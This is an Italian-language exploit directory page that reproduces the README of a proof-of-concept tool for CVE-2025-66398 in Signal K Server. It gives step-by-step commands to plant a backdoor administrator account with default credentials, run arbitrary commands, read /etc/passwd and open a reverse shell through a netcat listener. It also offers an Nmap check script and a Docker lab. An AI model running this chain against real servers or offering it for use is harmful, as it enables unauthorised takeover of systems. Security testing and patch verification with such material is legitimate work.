Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2025-66398 — CVE-2025-66398 — Signal K Server ≤ 2.18.0 RCE PoC | Kitploit
Strumenti/GitHubGitHub/joshuavanderpoll/cve-2025-66398
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlApprendimento e FormazioneRed TeamingStrumento di Accesso RemotoSviluppo PayloadLab e Pratica
GitHubjoshuavanderpoll/cve-2025-66398
276 mesi faNon ancora revisionato

cve-2025-66398

CVE-2025-66398 — Signal K Server ≤ 2.18.0 RCE PoC

Vedi RepositorySito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-66398 — Signal K Server RCE PoC

Go Python Nmap

📜 Descrizione

CVE-2025-66398 è un problema di Signal K Server in cui un attaccante non autenticato può avvelenare lo stato di ripristino del server tramite /skServer/validateBackup, quindi dirottare la configurazione tramite /skServer/restore per iniettare un account amministratore backdoor e (opzionalmente) ottenere RCE cambiando la strategia di sicurezza con un modulo Node.js controllato dall'attaccante.

Versioni interessate: Signal K Server ≤ 2.18.0

Impatto (ad alto livello): inquinamento dello stato non autenticato → iniezione di backdoor admin → esecuzione remota di codice (quando si verifica un ripristino + riavvio)

✨ Caratteristiche

  • Controllo vulnerabilità — Verifica se /skServer/validateBackup accetta upload non autenticati.
  • Script Nmap NSE — http-signalk-cve-2025-66398.nse già pronto per l'uso negli scan di rete (solo controllo, nessuno sfruttamento).
  • Flusso di exploit interattivo — Ti guida attraverso le 3 fasi e richiede credenziali/percorsi.
  • Modalità non interattiva — Esegue l'intera catena con flag (check, esecuzione comandi, lettura/scrittura file, reverse shell).

🛠️ Installazione

Python

OSX/Linux

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

Windows

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt

GoLang

root@kitploit:~
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
go build -o exp cve-2025-66398.go

Installa direttamente con Go

root@kitploit:~
go install github.com/joshuavanderpoll/cve-2025-66398@latest

Esegui senza installare

root@kitploit:~
go run github.com/joshuavanderpoll/cve-2025-66398@latest -target http://127.0.0.1:8111

⚙️ Utilizzo

Questo PoC ha due modalità:

  • Interattiva (predefinita): prompt guidati + un piccolo menu.
  • Non interattiva: passa flag come -check, -command, -read-file, ecc. (Consigliata solo dopo aver completato con successo la modalità interattiva)

Aiuto / opzioni

root@kitploit:~
python3 cve-2025-66398.py -h
# or GoLang release
./cve-2025-66398 -h
                ___ __ ___ ___      __   __ _______ ___ 
  ____ _____ __|_  )  \_  ) __|___ / /  / /|__ / _ ( _ )
 / _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
 \__|\_/\___|  /___\__/___|___/   \___/\___/___//_/\___/
                                                        
  https://github.com/joshuavanderpoll/cve-2025-66398

usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD]
              [-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT]

CVE-2025-66398 -- Signal K State Pollution -> Backdoor -> RCE

options:
  -h, --help            show this help message and exit
  -target URL           Base URL of the Signal K server
  -useragent UA         User-Agent header for all HTTP requests
  -timeout SEC          Request timeout in seconds (default: 10)
  -target-os OS         Target server OS for payload/path adaptation: linux (default) or windows
  -signalk-dir DIR      Override the Signal K data directory on the target (default: OS-dependent)
  -check                Test if the target is vulnerable without exploiting it
  -admin-user USER      Admin username for Phase 2 restore
  -admin-pass PASS      Admin password for Phase 2 restore
  -backdoor-user USER   Backdoor username to inject (default: backdoor)
  -backdoor-pass PASS   Backdoor password to inject (default: H4CK1nd3x!)
  -command CMD          Execute a command on the server (non-interactive)
  -read-file PATH       Read a remote file via RCE
  -write-file CONTENT PATH
                        Write CONTENT to PATH on the server via RCE
  -code CODE            Inject raw Node.js code as the security module
  -shell                Deploy a reverse shell (requires -lhost and -lport)
  -lhost HOST           Listener host for reverse shell
  -lport PORT           Listener port for reverse shell

Verifica rapida (sicura)

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000 -check

Verifica vulnerabilità

Controllo Nmap NSE

Uno script Nmap standalone è incluso che esegue la stessa sonda non autenticata — nessuno sfruttamento.

root@kitploit:~
# Against a known Signal K port
nmap -p 3000 --script ./http-signalk-cve-2025-66398.nse <target>

# Install system-wide and run without path
sudo cp http-signalk-cve-2025-66398.nse $(nmap --datadir)/scripts/
sudo nmap --script-updatedb
nmap -p 3000 --script http-signalk-cve-2025-66398 <target>

Esempio di output:

root@kitploit:~
PORT     STATE SERVICE
9360/tcp open  unknown
| http-signalk-cve-2025-66398: 
|   state: VULNERABLE
|   title: Signal K Server Unauthenticated Backup Upload leading to RCE
|   IDs: CVE-2025-66398
|_  references: https://github.com/joshuavanderpoll/cve-2025-66398  |  https://www.cve.org/CVERecord?id=CVE-2025-66398

Sfruttamento interattivo (guidato)

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000

Script interattivo

Lo script:

  1. Fase 1 — Inquinamento dello stato: carica un .backup dannoso su /skServer/validateBackup (senza autenticazione)
  2. Fase 2 — Dirottamento della configurazione: autenticati come admin e attiva /skServer/restore
  3. Fase 3 — RCE: carica un secondo backup che punta la strategia di sicurezza a un modulo dannoso, attiva il ripristino, riavvia, quindi esegui il tuo comando / shell

Esempi non interattivi

Esegue l'intera catena (Fasi 1 → 3) e un comando:

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"

Esecuzione comando

Leggi un file remoto (Fase 3):

root@kitploit:~
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd

Lettura file

Reverse shell (Fase 3):

root@kitploit:~
nc -lvnp 4444

python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444
# or GoLang release
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444

Reverse shell

Note:

  • Se non passi -admin-user/-admin-pass, lo script presuppone che l'account backdoor sia già attivo da un'esecuzione precedente.
  • Le credenziali backdoor predefinite sono backdoor / H4CK1nd3x! (sostituibili con -backdoor-user / -backdoor-pass).
  • La Fase 3 richiede la directory dati di Signal K. Lo script tenterà di rilevarla automaticamente durante la Fase 2; se non ci riesce, passa -signalk-dir <DIR>.

🐋 Docker PoC

Un ambiente Docker Compose autonomo con il software vulnerabile per test locali. Consulta DOCKER.md per maggiori dettagli

root@kitploit:~
cd docker/
docker compose up -d
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 -check
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360

🕵🏼 Riferimenti

  • Signal K Server
  • NVD — CVE-2025-66398
  • HackIndex.io — CVE-2025-66398

📢 Disclaimer

Questo PoC è solo per test di sicurezza educativi e autorizzati. Non eseguirlo contro sistemi che non possiedi o per cui non hai esplicita autorizzazione al test.

Scarica lo strumento